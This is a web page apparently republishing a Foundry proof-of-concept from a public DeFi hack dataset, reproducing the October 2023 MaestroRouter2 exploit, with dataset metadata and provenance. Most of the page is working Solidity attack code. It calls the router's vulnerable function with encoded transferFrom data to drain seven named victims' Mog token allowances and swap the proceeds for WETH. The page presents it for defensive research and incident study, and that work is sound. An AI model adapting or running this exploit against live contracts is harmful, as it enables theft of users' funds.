Public reproduction file

src/test/2023-10/MaestroRouter2_exp.sol

Public reproduction file for dataset entry MaestroRouter2.

Code

Verbatim source from the public dataset at the pinned commit below. Licence header preserved. ThreatWire has not executed this code. It is shown for defensive research, as published in the public reference dataset. Check licences, verify the blob against the pinned commit, and do not run it against live contracts without your own review.

src/test/2023-10/MaestroRouter2_exp.sol84 lines

1// SPDX-License-Identifier: UNLICENSED
2pragma solidity ^0.8.10;
3 
4import "forge-std/Test.sol";
5import "./../interface.sol";
6 
7// @KeyInfo -- Total Lost : ~280 ETH
8// Attacker : https://etherscan.io/address/0xce6397e53c13ff2903ffe8735e478d31e648a2c6
9// Attack Contract : https://etherscan.io/address/0xe6c6e86e04de96c4e3a29ad480c94e7a471969ab
10// Attacker Transaction :
11// https://etherscan.io/tx/0xc087fbd68b9349b71838982e789e204454bfd00eebf9c8e101574376eb990d92 14 ETH
12// https://etherscan.io/tx/0xede874f9a4333a26e97d3be9d1951e6a3c2a8861e4e301787093cfb1293d4756 28.5 ETH
13// https://etherscan.io/tx/0xe60c5a3154094828065049121e244dfd362606c2a5390d40715ba54699ba9da6 75 ETH
14// https://etherscan.io/tx/0xf4ae22177c3abbb0f21defe51dd14eff68eb1b0c52ac4104186220138e8e5bb2 32.7 ETH
15// https://etherscan.io/tx/0x6cba3a67d6b8de664d860b096c8c558a1d65e5fa9735c657ddc98f67969561a2 32.5 ETH
16// https://etherscan.io/tx/0xddd1048fe3f2df1fb98e534a97173b32a9fca662dbd257a72725482431d3f25e 2 ETH
17// https://etherscan.io/tx/0xffb4bd29825bdd41adf344028f759692021cbadc2d4cb5b587e68fd8285c5eb1 41 ETH
18// https://etherscan.io/tx/0xa9948c8f0500a867091a090d12125f88868ac29e52af6391569094e82d416904 2 ETH
19// https://etherscan.io/tx/0xc49499325cb5ad3bf4391ae95855ce2ee2b0222f9282c524daa1c4586a8fcd8b 13.4 ETH
20// https://etherscan.io/tx/0xcfe1d2b333e1b9da5e2d5f1d7697b628c818cc41f9f3020187d4ce2c2610a05c 7.5 ETH
21// https://etherscan.io/tx/0x33f6adf410bbd0ae08b0cd44410de1e5b28e516434567113982fcac36ed9e1a4 4.7 ETH
22// https://etherscan.io/tx/0x4f4d6909a442b4d86f79a9044dcada6a128ddd9f62c26f410134a72d2fc31389 16.7
23 
24// @Analysis
25// https://twitter.com/Phalcon_xyz/status/1717014871836098663
26// https://twitter.com/BeosinAlert/status/1717013965203804457
27 
28interface IMaestroRouter {}
29 
30// The hacker sent multiple transactions to attack, just taking the first transaction as an example.
31 
32contract MaestroRouter2Exploit is Test {
33    CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
34 
35    IMaestroRouter router = IMaestroRouter(0x80a64c6D7f12C47B7c66c5B4E20E72bc1FCd5d9e);
36    address router_logic = 0x8EAE9827b45bcC6570c4e82b9E4FE76692b2ff7a;
37    IERC20 Mog = IERC20(0xaaeE1A9723aaDB7afA2810263653A34bA2C21C7a);
38    WETH9 WETH = WETH9(0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2);
39    Uni_Router_V2 UniRouter = Uni_Router_V2(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
40 
41    function setUp() public {
42        cheats.createSelectFork("mainnet");
43 
44        cheats.label(address(router), "MaestroRouter2");
45        cheats.label(address(router_logic), "MaestroRouter2 Logic Contract");
46        cheats.label(address(Mog), "Mog Token");
47        cheats.label(address(UniRouter), "UniswapRouterV2");
48    }
49 
50    function testExploit() public {
51        cheats.rollFork(18_423_219);
52        emit log_named_decimal_uint("Attacker Mog balance before exploit", Mog.balanceOf(address(this)), Mog.decimals());
53 
54        address[] memory victims = new address[](7);
55        victims[0] = 0x4189ad9624F838eef865B09a0BE3369EAaCd8f6F;
56        victims[1] = 0xD0b4EE02E9bA15b9dac916d2CCAbaD50F836B24D;
57        victims[2] = 0xe84180bdc970c01B30a326f610F110acB23EcdBe;
58        victims[3] = 0x6476425a65Ae09e22383B68416b32AbE62896aa9;
59        victims[4] = 0x942beCA935703058E26527d0bD49D00E85841772;
60        victims[5] = 0x968907878bDF60638FFdD5E4759289941333bf94;
61        victims[6] = 0xA5162195e6CB7483eea8bA878d147b0E90519c64;
62        bytes4 vulnFunctionSignature = hex"9239127f";
63        for (uint256 i = 0; i < victims.length; i++) {
64            uint256 allowance = Mog.allowance(victims[i], address(router));
65            uint256 balance = Mog.balanceOf(victims[i]);
66            balance = allowance < balance ? allowance : balance;
67            bytes memory transferFromData =
68                abi.encodeWithSignature("transferFrom(address,address,uint256)", victims[i], address(this), balance);
69            bytes memory data = abi.encodeWithSelector(vulnFunctionSignature, Mog, transferFromData, uint8(0), false);
70            (bool success,) = address(router).call(data);
71        }
72        uint256 MogBalance = Mog.balanceOf(address(this));
73        emit log_named_decimal_uint("Attacker Mog balance after exploit", MogBalance, Mog.decimals());
74 
75        address[] memory path = new address[](2);
76        path[0] = address(Mog);
77        path[1] = address(WETH);
78        Mog.approve(address(UniRouter), MogBalance);
79        UniRouter.swapExactTokensForTokensSupportingFeeOnTransferTokens(
80            MogBalance, 0, path, address(this), block.timestamp
81        );
82        emit log_named_decimal_uint("Attacker ETH balance after exploit", WETH.balanceOf(address(this)), 18);
83    }
84}

Analysis

Dataset entry

Public Foundry test for “MaestroRouter2” (2023-10-24). Addresses, transactions and links below are taken from comments in the file itself. ThreatWire has not verified them on-chain and has not executed this file.

Related files

15 linked

Imports used by this file, other reproduction files from the same month or protocol in the dataset, and patterns for the same incident. Each opens in our reader with verbatim source.

src/test/2023-10/Astrid_exp.solSame month in the dataset · 156 lines
src/test/2023-10/BelugaDex_exp.solSame month in the dataset · 171 lines
src/test/2023-10/BH_exp.solSame month in the dataset · 139 lines
src/test/2023-10/DePayRouter_exp.solSame month in the dataset · 132 lines
src/test/2023-10/Hopelend_exp.solSame month in the dataset · 240 lines
src/test/2023-10/kTAF_exp.solSame month in the dataset · 146 lines
src/test/2023-10/LaEeb_exp.solSame month in the dataset · 50 lines
src/test/2023-10/MicDao_exp.solSame month in the dataset · 109 lines
src/test/2023-10/OpenLeverage_exp.solSame month in the dataset · 130 lines
src/test/2023-10/Platypus03_exp.solSame month in the dataset · 112 lines
src/test/2023-10/pSeudoEth_exp.solSame month in the dataset · 79 lines
src/test/2023-10/StarsArena_exp.solSame month in the dataset · 50 lines
src/test/2023-10/UniBot_exp.solSame month in the dataset · 80 lines
src/test/2023-10/WiseLending_exp.solSame month in the dataset · 185 lines
src/test/2023-10/ZS_exp.solSame month in the dataset · 141 lines

Listed in the source file

Listed by the source dataset, not verified by ThreatWire

Attacker
0xce6397e53c13ff2903ffe8735e478d31e648a2c6
Attack Contract
0xe6c6e86e04de96c4e3a29ad480c94e7a471969ab
Attacker
0xc087fbd68b9349b71838982e789e204454bfd00e

File record

Name: MaestroRouter2
Path: src/test/2023-10/MaestroRouter2_exp.sol
Repository: SunWeb3Sec/DeFiHackLabs (licence Apache-2.0)
Commit: 7363f76db51f0fea97f8e659b20ee8bdc5fbca25
Blob: 3d61bc114291d317a2013c610c5ab76fef4d1264
Language: Solidity
Size: 85 lines
Date: 2023-10-24
Licence: file header UNLICENSED; repository Apache-2.0
Retrieved: 2026-10-19

Provenance

Path src/test/2023-10/MaestroRouter2_exp.sol, commit 7363f76db51f0fea97f8e659b20ee8bdc5fbca25, blob 3d61bc114291d317a2013c610c5ab76fef4d1264, retrieved 2026-10-19. Verbatim file via git show at the pinned commit; SPDX header preserved. ThreatWire has never executed this file. Reference: source file at the pinned commit.